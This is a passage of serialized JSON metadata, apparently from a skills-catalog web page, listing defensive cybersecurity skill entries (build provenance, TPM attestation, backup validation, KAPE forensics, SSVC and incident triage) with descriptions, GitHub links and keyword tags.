control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[117],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[119,120,121,122,123,40,124,125,126,127,128,129,130,131,132,133,134,135,136,137],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":145,"publishedAt":45},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[144],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[146,134,147,148,123,149,40,126,150,151,152,153,154,155,156,157,158,159,160,161],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":172,"publishedAt":45},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[168,171],{"categoryNo":169,"categoryName":170,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[156,173,174,175,176,40,177,178,150,179,180,181,182,183,184,185,186,187,188,189],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":197,"publishedAt":45},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[196],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[198,199,200,40,201,202,203,204,205,206,207,208,209,210,211,212,153,213,214,215],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":217,"name":218,"nameZh":6,"description":219,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":220,"categories":221,"keywords":223,"publishedAt":45},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[222],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[224,225,226,40,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":244,"name":245,"nameZh":6,"description":246,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":247,"categories":248,"keywords":250,"publishedAt":45},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[249],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[123,251,40,252,253,254,255,256,257,258,259,185,260,186,261,262,263,264,265,266],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]